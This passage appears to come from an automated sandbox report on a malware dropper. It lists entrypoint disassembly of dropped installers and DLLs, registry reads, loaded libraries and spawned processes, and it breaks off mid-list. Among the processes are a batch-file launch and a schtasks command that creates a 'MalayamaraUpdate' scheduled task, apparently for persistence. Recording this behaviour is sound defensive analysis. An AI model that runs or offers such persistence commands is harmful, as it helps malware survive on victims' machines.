[eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al," "BroomSetup.exe" file has an entrypoint instructions - "push ebp,mov ebp, esp,add esp, -0x10,push ebx,mov eax, 0x78f138,call 0x411004,mov ebx, dword ptr [0x7a94d8],mov eax, dword ptr [ebx],call 0x61b794,mov cl, 1,mov edx, 0x79bba4,mov eax, dword ptr [0x5ace48],call 0x5c5ca8,mov ecx, dword ptr [0x7a92bc],mov eax, dword ptr [ebx],mov edx, dword ptr [0x72d89c],call 0x61b7ac,mov ecx, dword ptr [0x7a9738],mov eax, dword ptr [ebx],mov edx, dword ptr [0x72b610],call 0x61b7ac,mov ecx, dword ptr [0x7a900c],mov eax, dword ptr [ebx],mov edx, dword ptr [0x72bd20]," "tuc4.exe" file has an entrypoint instructions - "push ebp,mov ebp, esp,add esp, -0x3c,push ebx,push esi,push edi,xor eax, eax,mov dword ptr [ebp - 0x10], eax,mov dword ptr [ebp - 0x24], eax,call 0x4030dc,call 0x4042e8,call 0x40457c,call 0x4065b8,call 0x406604,call 0x408f38,call 0x4090a4,xor eax, eax,push ebp,push 0x40a2fc,push dword ptr fs:[eax],mov dword ptr fs:[eax], esp,xor edx, edx,push ebp,push 0x40a2c5,push dword ptr fs:[edx],mov dword ptr fs:[edx], esp,mov eax, dword ptr [0x40c014],call 0x409b30,call 0x409768,lea edx, [ebp - 0x10],xor eax, eax," "288c47bbc1871b439df19ff4df68f076.exe" file has an entrypoint instructions - "call 0x405c7b,jmp 0x40271b,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,mov ecx, dword ptr [esp + 4],test ecx, 3,je 0x4028e0,mov al, byte ptr [ecx],add ecx, 1,test al, al,je 0x402913,test ecx, 3,jne 0x4028bc,add eax, 0,lea esp, [esp],lea esp, [esp],mov eax, dword ptr [ecx],mov edx, 0x7efefeff,add edx, eax,xor eax, 0xffffffff,xor eax, edx,add ecx, 4,test eax, 0x81010100,je 0x4028e0,mov eax, dword ptr [ecx - 4],test al, al," "InstallSetup9.exe" file has an entrypoint instructions - "sub esp, 0x3f8,push ebp,push esi,push edi,push 0x20,pop edi,xor ebp, ebp,push 0x8001,mov dword ptr [esp + 0x20], ebp,mov dword ptr [esp + 0x18], 0x40a2d8,mov dword ptr [esp + 0x14], ebp,call dword ptr [0x4080a4],mov esi, dword ptr [0x4080a8],lea eax, [esp + 0x34],push eax,mov dword ptr [esp + 0x4c], ebp,mov dword ptr [esp + 0x14c], ebp,mov dword ptr [esp + 0x150], ebp,mov dword ptr [esp + 0x38], 0x11c,call esi,test eax, eax,jne 0x4035be,lea eax, [esp + 0x34],mov dword ptr [esp + 0x34], 0x114,push eax,call esi," "aviformattertool.exe" file has an entrypoint instructions - "push ebp,mov ebp, esp,push -1,push 0x4b25a8,push 0x4b0f80,mov eax, dword ptr fs:[0],push eax,mov dword ptr fs:[0], esp,sub esp, 0x68,push ebx,push esi,push edi,mov dword ptr [ebp - 0x18], esp,xor ebx, ebx,mov dword ptr [ebp - 4], ebx,push 2,call dword ptr [0x4b2264],pop ecx,or dword ptr [0x4b7078], 0xffffffff,or dword ptr [0x4b707c], 0xffffffff,call dword ptr [0x4b2268],mov ecx, dword ptr [0x4b7074],mov dword ptr [eax], ecx,call dword ptr [0x4b226c],mov ecx, dword ptr [0x4b7070],mov dword ptr [eax], ecx,mov eax, dword ptr [0x4b2270]," "INetC.dll" file has an entrypoint instructions - "mov eax, dword ptr [esp + 4],mov dword ptr [0x10005d94], eax,xor eax, eax,inc eax,ret 0xc,mov eax, dword ptr [0x1000a758],test eax, eax,push esi,je 0x100045f9,mov esi, dword ptr [eax],test esi, esi,je 0x100045f9,cmp dword ptr [esp + 8], 0,je 0x100045ea,lea eax, [esi + 4],push eax,push dword ptr [esp + 0xc],call dword ptr [0x10001008],mov eax, dword ptr [0x1000a758],mov ecx, dword ptr [esi],push esi,mov dword ptr [eax], ecx,call dword ptr [0x10001078],xor eax, eax,jmp 0x100045fc,xor eax, eax,inc eax,pop esi,ret 4,cmp dword ptr [0x1000a758], 0,je 0x1000463e,mov eax, dword ptr [0x1000a75c],push esi,lea eax, [eax + eax + 8],push eax," "_isdecmp.dll" file has an entrypoint instructions - "cmp dword ptr [esp + 8], 1,jne 0x1502e82,mov eax, dword ptr [esp + 4],push eax,call dword ptr [0x1503000],mov eax, 1,ret 0xc,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al," "_iscrypt.dll" file has an entrypoint instructions - "cmp dword ptr [esp + 8], 1,jne 0x100011f2,mov eax, dword ptr [esp + 4],push eax,call dword ptr [0x10002000],mov eax, 1,ret 0xc,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al," "is-ND51B.tmp" file has an entrypoint instructions - "push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x10056097,call 0x100565dd,push dword ptr [ebp + 0x10],push dword ptr [ebp + 0xc],push dword ptr [ebp + 8],call 0x10055f63,add esp, 0xc,pop ebp,ret 0xc,int3 ,int3 ,int3 ,int3 ,push ecx,lea ecx, [esp + 4],sub ecx, eax,sbb eax, eax,not eax,and ecx, eax,mov eax, esp,and eax, 0xfffff000,cmp ecx, eax,bnd jb 0x100560d4,mov eax, ecx,pop ecx,xchg esp, eax,mov eax, dword ptr [eax],mov dword ptr [esp], eax,bnd ret ,sub eax, 0x1000,test dword ptr [eax], eax,jmp 0x100560c4,int3 ,int3 ,int3 ,push edi,push esi,push ebx,xor edi, edi,mov eax, dword ptr [esp + 0x14],or eax, eax,jge 0x10056101," "is-O940H.tmp" file has an entrypoint instructions - "push ebp,mov ebp, esp,add esp, -0x10,mov eax, dword ptr [0x4a9694],mov byte ptr [eax], 1,mov eax, 0x4a1244,call 0x410e6c,xor eax, eax,push ebp,push 0x4a5d8d,push dword ptr fs:[eax],mov dword ptr fs:[eax], esp,call 0x407694,test eax, eax,jne 0x4a5d64,mov eax, 0x4b092c,mov edx, 0x4a5da8,call 0x40add8,jmp 0x4a5d73,mov edx, 0x4b092c,mov eax, 1,call 0x4076f8,mov eax, dword ptr [0x4b092c],call 0x4a1128,xor eax, eax,pop edx,pop ecx,pop ecx,mov dword ptr fs:[eax], edx," "is-8EM8Q.tmp" file has an entrypoint instructions - "push ebp,mov ebp, esp,add esp, -0xc,push ebx,push esi,push edi,call 0x403344,call 0x4056a0,call 0x406334,call 0x409954,call 0x409b88,call 0x410964,call 0x4109dc,call 0x412938,call 0x419050,call 0x424f50,call 0x42f57c,call 0x430868,call 0x44ef98,call 0x44f440,call 0x450e68,call 0x452860,call 0x4563ac,call 0x4572b0," "tuc4.tmp" file has an entrypoint instructions - "push ebp,mov ebp, esp,add esp, -0xc,push ebx,push esi,push edi,call 0x403344,call 0x4056a0,call 0x406334,call 0x409954,call 0x409b88,call 0x410964,call 0x4109dc,call 0x412938,call 0x419050,call 0x424f50,call 0x42f57c,call 0x430868,call 0x44ef98,call 0x44f440,call 0x450e68,call 0x452860,call 0x4563ac,call 0x4572b0," "is-KGHLP.tmp" file has an entrypoint instructions - "sub esp, 0xc,mov dword ptr [0x6e1ba048], 0,mov ecx, dword ptr [esp + 0x18],mov edx, dword ptr [esp + 0x14],mov eax, dword ptr [esp + 0x10],call 0x6e141200,add esp, 0xc,ret 0xc,lea esi, [esi],lea esi, [esi],nop ,sub esp, 0x1c,mov eax, dword ptr [esp + 0x20],mov dword ptr [esp], 0x6e1ba000,mov dword ptr [esp + 4], eax,call 0x6e1a7390,add esp, 0x1c,ret ,nop ,nop ,nop ,nop ,nop ,push ebp,mov ebp, esp,push edi,push esi,push ebx,sub esp, 0x1c,mov dword ptr [esp], 0x6e1a9000," "is-T2M3R.tmp" file has an entrypoint instructions - "push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x10055339,call 0x100554bc,push dword ptr [ebp + 0x10],push dword ptr [ebp + 0xc],push dword ptr [ebp + 8],call 0x100551f4,add esp, 0xc,pop ebp,ret 0xc,push ebp,mov ebp, esp,push 0,call dword ptr [0x10056030],push dword ptr [ebp + 8],call dword ptr [0x1005602c],push 0xc0000409,call dword ptr [0x10056034],push eax,call dword ptr [0x10056038],pop ebp,ret ,push ebp,mov ebp, esp,sub esp, 0x324,push 0x17,call 0x10055a6a,test eax, eax,je 0x1005538f,push 2,pop ecx,int 0x29," "is-F1GN9.tmp" file has an entrypoint instructions - "push ebp,mov ebp, esp,push -1,push 0x4475f0,push 0x43cf56,mov eax, dword ptr fs:[0],push eax,mov dword ptr fs:[0], esp,sub esp, 0x20,push ebx,push esi,push edi,mov dword ptr [ebp - 0x18], esp,and dword ptr [ebp - 4], 0,push 1,call dword ptr [0x442160],pop ecx,or dword ptr [0x4517a8], 0xffffffff,or dword ptr [0x4517ac], 0xffffffff,call dword ptr [0x442164],mov ecx, dword ptr [0x44f790],mov dword ptr [eax], ecx,call dword ptr [0x442168],mov ecx, dword ptr [0x44f78c],mov dword ptr [eax], ecx,mov eax, dword ptr [0x44216c],mov eax, dword ptr [eax]," "is-9F3KE.tmp" file has an entrypoint instructions - "sub esp, 0x1c,mov dword ptr [0x6ebc5390], 0,mov edx, dword ptr [esp + 0x24],cmp edx, 1,je 0x6eb813b0,mov ecx, dword ptr [esp + 0x28],mov eax, dword ptr [esp + 0x20],call 0x6eb81220,add esp, 0x1c,ret 0xc,lea esi, [esi],mov dword ptr [esp + 0xc], edx,call 0x6eb90320,mov edx, dword ptr [esp + 0xc],jmp 0x6eb81396,nop ,sub esp, 0x1c,mov eax, dword ptr [esp + 0x20],mov dword ptr [esp], 0x6ebc5000,mov dword ptr [esp + 4], eax,call 0x6eb95600,add esp, 0x1c,ret ,nop ,nop ,nop ,nop ,nop ,push ebp,mov ebp, esp,push edi," "is-PU7KQ.tmp" file has an entrypoint instructions - "push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x1000134e,call 0x100013b0,push dword ptr [ebp + 0x10],push dword ptr [ebp + 0xc],push dword ptr [ebp + 8],call 0x1000120a,add esp, 0xc,pop ebp,ret 0xc,push ebp,mov ebp, esp,sub esp, 0x14,and dword ptr [ebp - 0xc], 0,lea eax, [ebp - 0xc],and dword ptr [ebp - 8], 0,push eax,call dword ptr [0x1003200c],mov eax, dword ptr [ebp - 8],xor eax, dword ptr [ebp - 0xc],mov dword ptr [ebp - 4], eax,call dword ptr [0x10032008],xor dword ptr [ebp - 4], eax,call dword ptr [0x10032004],xor dword ptr [ebp - 4], eax,lea eax, [ebp - 0x14],push eax,call dword ptr [0x10032000],mov eax, dword ptr [ebp - 0x10]," "is-Q1SH7.tmp" file has an entrypoint instructions - "sub esp, 0x1c,mov dword ptr [0x67f7c390], 0,mov edx, dword ptr [esp + 0x24],cmp edx, 1,je 0x67f413b0,mov ecx, dword ptr [esp + 0x28],mov eax, dword ptr [esp + 0x20],call 0x67f41220,add esp, 0x1c,ret 0xc,lea esi, [esi],mov dword ptr [esp + 0xc], edx,call 0x67f63770,mov edx, dword ptr [esp + 0xc],jmp 0x67f41396,nop ,sub esp, 0x1c,mov eax, dword ptr [esp + 0x20],mov dword ptr [esp], 0x67f7c000,mov dword ptr [esp + 4], eax,call 0x67f65380,add esp, 0x1c,ret ,nop ,nop ,nop ,nop ,nop ,push ebp,mov ebp, esp,push edi," "is-VNOL6.tmp" file has an entrypoint instructions - "sub esp, 0x1c,mov dword ptr [0x65cee3d0], 0,mov edx, dword ptr [esp + 0x24],cmp edx, 1,je 0x65c813b0,mov ecx, dword ptr [esp + 0x28],mov eax, dword ptr [esp + 0x20],call 0x65c81220,add esp, 0x1c,ret 0xc,lea esi, [esi],mov dword ptr [esp + 0xc], edx,call 0x65cac460,mov edx, dword ptr [esp + 0xc],jmp 0x65c81396,nop ,sub esp, 0x1c,mov eax, dword ptr [esp + 0x20],mov dword ptr [esp], 0x65cb9000,mov dword ptr [esp + 4], eax,call 0x65cae420,add esp, 0x1c,ret ,nop ,nop ,nop ,nop ,nop ,push ebp,mov ebp, esp,push edi," "is-5BQCL.tmp" file has an entrypoint instructions - "mov edi, edi,push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x10016e24,call 0x10020349,push dword ptr [ebp + 8],mov ecx, dword ptr [ebp + 0x10],mov edx, dword ptr [ebp + 0xc],call 0x10016d1e,pop ecx,pop ebp,ret 0xc,mov edi, edi,push ebp,mov ebp, esp,xor eax, eax,mov ecx, dword ptr [ebp + 8],cmp ecx, dword ptr [eax*8 + 0x100279f0],je 0x10016e54,inc eax,cmp eax, 0x16,jb 0x10016e3e,xor eax, eax,pop ebp,ret ,mov eax, dword ptr [eax*8 + 0x100279f4],pop ebp,ret ,mov edi, edi,push ebp,mov ebp, esp,sub esp, 0x1fc,mov eax, dword ptr [0x10031e00],xor eax, ebp,mov dword ptr [ebp - 4], eax,push ebx,push esi,mov esi, dword ptr [ebp + 8],push edi," "is-HITNB.tmp" file has an entrypoint instructions - "sub esp, 0x1c,mov dword ptr [0x6d9b1390], 0,mov edx, dword ptr [esp + 0x24],cmp edx, 1,je 0x6d9813b0,mov ecx, dword ptr [esp + 0x28],mov eax, dword ptr [esp + 0x20],call 0x6d981220,add esp, 0x1c,ret 0xc,lea esi, [esi],mov dword ptr [esp + 0xc], edx,call 0x6d98e7e0,mov edx, dword ptr [esp + 0xc],jmp 0x6d981396,nop ,sub esp, 0x1c,mov eax, dword ptr [esp + 0x20],mov dword ptr [esp], 0x6d9b1000,mov dword ptr [esp + 4], eax,call 0x6d994110,add esp, 0x1c,ret ,nop ,nop ,nop ,nop ,nop ,push ebp,mov ebp, esp,push edi," "is-L2OG8.tmp" file has an entrypoint instructions - "push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x1000c49e,call 0x1000c65c,push dword ptr [ebp + 0x10],push dword ptr [ebp + 0xc],push dword ptr [ebp + 8],call 0x1000c35a,add esp, 0xc,pop ebp,ret 0xc,push ebp,mov ebp, esp,push 0,call dword ptr [0x10020004],push dword ptr [ebp + 8],call dword ptr [0x10020000],push 0xc0000409,call dword ptr [0x10020008],push eax,call dword ptr [0x1002000c],pop ebp,ret ,push ebp,mov ebp, esp,sub esp, 0x324,push 0x17,call dword ptr [0x10020010],test eax, eax,je 0x1000c4f5,push 2,pop ecx," "is-4M261.tmp" file has an entrypoint instructions - "sub esp, 0x1c,mov dword ptr [0x6dc20390], 0,mov edx, dword ptr [esp + 0x24],cmp edx, 1,je 0x6dc013b0,mov ecx, dword ptr [esp + 0x28],mov eax, dword ptr [esp + 0x20],call 0x6dc01220,add esp, 0x1c,ret 0xc,lea esi, [esi],mov dword ptr [esp + 0xc], edx,call 0x6dc0f7e0,mov edx, dword ptr [esp + 0xc],jmp 0x6dc01396,nop ,sub esp, 0x1c,mov eax, dword ptr [esp + 0x20],mov dword ptr [esp], 0x6dc20000,mov dword ptr [esp + 4], eax,call 0x6dc14ab0,add esp, 0x1c,ret ,nop ,nop ,nop ,nop ,nop ,push ebp,mov ebp, esp,push edi," "is-Q1RQM.tmp" file has an entrypoint instructions - "sub esp, 0xc,mov dword ptr [0x452f78], 0,call 0x411490,add esp, 0xc,jmp 0x401150,lea esi, [esi],sub esp, 0x1c,mov eax, dword ptr [esp + 0x20],mov dword ptr [esp], eax,call 0x4130f8,test eax, eax,sete al,add esp, 0x1c,movzx eax, al,neg eax,ret ,nop ,nop ,nop ,push ebp,mov ebp, esp,push edi,push esi,push ebx,sub esp, 0x1c,mov dword ptr [esp], 0x418000,call dword ptr [0x808198],sub esp, 4,test eax, eax,je 0x401570,mov ebx, eax,"51:T84a,"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN") "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN") "InstallSetup9.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "InstallSetup9.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "InstallSetup9.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "InstallSetup9.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "288c47bbc1871b439df19ff4df68f076.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "288c47bbc1871b439df19ff4df68f076.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "tuc4.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "tuc4.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "tuc4.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "BroomSetup.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "BroomSetup.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "BroomSetup.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "BroomSetup.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409")52:Tee5,Observed system executable string:"1,"fusion","GAC",01,"WinRT","NotApp",13,"System Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089","C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll",03,"System.Core Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089","C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll",0" [Source: 1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe.log] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" [Source: 00000000-00008776-00000C2A-702779765] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll" [Source: 00000000-00008776-00000C2A-703107339] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" [Source: 00000000-00008776-00000C2A-703215329] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00008776-00000C2A-703288596] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" [Source: 00000000-00008776-00000C2A-703588975] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" [Source: 00000000-00008776-00000C2A-703619990] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00008776-00000C2A-703686823] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll" [Source: 00000000-00008776-00000C2A-703772478] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll" [Source: 00000000-00008776-00000C2A-703926152] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll" [Source: 00000000-00008776-00000C2A-703965615] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00008776-00000C2A-704743330] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00008776-00000C2A-704769850] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll" [Source: 00000000-00008776-00000C2A-704798629] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00008776-00000C2A-704883410] Observed system executable string:"%WINDIR%\system32\UXTHEME.dll" [Source: 00000000-00008576-00000C2A-706533548] Observed system executable string:"%WINDIR%\system32\USERENV.dll" [Source: 00000000-00008576-00000C2A-706589606] Observed system executable string:"%WINDIR%\system32\SETUPAPI.dll" [Source: 00000000-00008576-00000C2A-706616793] Observed system executable string:"%WINDIR%\system32\APPHELP.dll" [Source: 00000000-00008576-00000C2A-706938402] Observed system executable string:"%WINDIR%\system32\PROPSYS.dll" [Source: 00000000-00008576-00000C2A-707030087] Observed system executable string:"%WINDIR%\system32\DWMAPI.dll" [Source: 00000000-00008576-00000C2A-707063259] Observed system executable string:"%WINDIR%\system32\CRYPTBASE.dll" [Source: 00000000-00008576-00000C2A-707115430] Observed system executable string:"%WINDIR%\system32\OLEACC.dll" [Source: 00000000-00008576-00000C2A-707258290] Observed system executable string:"%WINDIR%\system32\CLBCATQ.dll" [Source: 00000000-00008576-00000C2A-707321625] Observed system executable string:"%WINDIR%\system32\NTMARTA.dll" [Source: 00000000-00008576-00000C2A-707387612]53:T965,Spawned process "InstallSetup9.exe" (UID: 00000000-00008576) Spawned process "288c47bbc1871b439df19ff4df68f076.exe" (UID: 00000000-00008600) Spawned process "tuc4.exe" (UID: 00000000-00008828) Spawned process "BroomSetup.exe" (UID: 00000000-00008552) Spawned process "tuc4.tmp" with commandline "/SL5="$5004C 4603451 54272 %TEMP%\\tuc4.exe"" (UID: 00000000-00001444) Spawned process "net.exe" with commandline "helpmsg 1131" (UID: 00000000-00008332) Spawned process "aviformattertool.exe" with commandline "-i" (UID: 00000000-00005060) Spawned process "net1.exe" with commandline "%WINDIR%\\system32\\net1 helpmsg 1131" (UID: 00000000-00007576) Spawned process "WerFault.exe" with commandline "-pss -s 460 -p 5060 -ip 5060" (UID: 00000000-00007772) Spawned process "WerFault.exe" with commandline "-u -p 5060 -s 560" (UID: 00000000-00007844) Spawned process "WerFault.exe" with commandline "-u -p 5060 -s 560" (UID: 00000000-00008680) Spawned process "cmd.exe" with commandline "%WINDIR%\\system32\\cmd.exe /c ""%APPDATA%\\Temp\\Task.bat" "" (UID: 00000000-00008532) Spawned process "chcp.com" with commandline "chcp 1251" (UID: 00000000-00003464) Spawned process "schtasks.exe" with commandline "schtasks /create /tn "MalayamaraUpdate" /tr "'%TEMP%\\Updater.e ..." (UID: 00000000-00001432), Spawned process "WerFault.exe" with commandline "-pss -s 508 -p 5516 -ip 5516" (UID: 00000000-00007892), Spawned process "WerFault.exe" with commandline "-pss -s 508 -p 8600 -ip 8600" (UID: 00000000-00006088), Spawned process "WerFault.exe" with commandline "-u -p 8600 -s 480" (UID: 00000000-00007728), Spawned process "WerFault.exe" with commandline "-pss -s 508 -p 8600 -ip 8600" (UID: 00000000-00009000), Spawned process "WerFault.exe" with commandline "-u -p 8600 -s 484" (UID: 00000000-00002984), Spawned process "WerFault.exe" with commandline "-pss -s 464 -p 8600 -ip 8600" (UID: 00000000-00003976), Spawned process "WerFault.exe" with commandline "-u -p 8600 -s 504" (UID: 00000000-00000724), Spawned process "WerFault.exe" with commandline "-pss -s 512 -p 8600 -ip 8600" (UID: 00000000-00008940), Spawned process "WerFault.exe" with commandline "-u -p 8600 -s 508" (UID: 00000000-00006408), Spawned process "WerFault.exe" with commandline "-pss -s 512 -p 8600 -ip 8600" (UID: 00000000-00008908), Spawned process "WerFault.exe" with commandline "-u -p 8600 -s 520" (UID: 00000000-00007348)54:T965,Spawned process "InstallSetup9.exe" (UID: 00000000-00008576) Spawned process "288c47bbc1871b439df19ff4df68f076.exe" (UID: 00000000-00008600) Spawned process "tuc4.exe" (UID: 00000000-00008828) Spawned process "BroomSetup.exe" (UID: 00000000-00008552) Spawned process "tuc4.tmp" with commandline "/SL5="$5004C 4603451 54272 %TEMP%\\tuc4.exe"" (UID: 00000000-00001444) Spawned process "net.exe" with commandline "helpmsg 1131" (UID: 00000000-00008332) Spawned process "aviformattertool.exe" with commandline "-i" (UID: 00000000-00005060) Spawned process "net1.exe" with commandline "%WINDIR%\\system32\\net1 helpmsg 1131" (UID: 00000000-00007576) Spawned process "WerFault.exe" with commandline "-pss -s 460 -p 5060 -ip 5060" (UID: 00000000-00007772) Spawned process "WerFault.exe" with commandline "-u -p 5060 -s 560" (UID: 00000000-00007844) Spawned process "WerFault.exe" with commandline "-u -p 5060 -s 560" (UID: 00000000-00008680) Spawned process "cmd.exe" with commandline "%WINDIR%\\system32\\cmd.exe /c ""%APPDATA%\\Temp\\Task.bat" "" (UID: 00000000-00008532) Spawned process "chcp.com" with commandline "chcp 1251" (UID: 00000000-00003464) Spawned process "schtasks.exe" with commandline "schtasks /create /tn "MalayamaraUpdate" /tr "'%TEMP%\\Updater.e ..." (UID: 00000000-00001432), Spawned process "WerFault.exe" with commandline "-pss -s 508 -p 5516 -ip 5516" (UID: 00000000-00007892), Spawned process "WerFault.exe" with commandline "-pss -s 508 -p 8600 -ip 8600" (UID: 00000000-00006088), Spawned process "WerFault.exe" with commandline "-u -p 8600 -s 480" (UID: 00000000-00007728), Spawned process "WerFault.exe" with commandline "-pss -s 508 -p 8600 -ip 8600" (UID: 00000000-00009000), Spawned process "WerFault.exe" with commandline "-u -p 8600 -s 484" (UID: 00000000-00002984), Spawned process "WerFault.exe" with commandline "-pss -s 464 -p 8600 -ip 8600" (UID: 00000000-00003976), Spawned process "WerFault.exe" with commandline "-u -p 8600 -s 504" (UID: 00000000-00000724), Spawned process "WerFault.exe" with commandline "-pss -s 512 -p 8600 -ip 8600" (UID: 00000000-00008940), Spawned process "WerFault.exe" with commandline "-u -p 8600 -s 508" (UID: 00000000-00006408), Spawned process "WerFault.exe" with commandline "-pss -s 512 -p 8600 -ip 8600" (UID: 00000000-00008908), Spawned process "WerFault.exe" with commandline "-u -p 8600 -s 520" (UID: 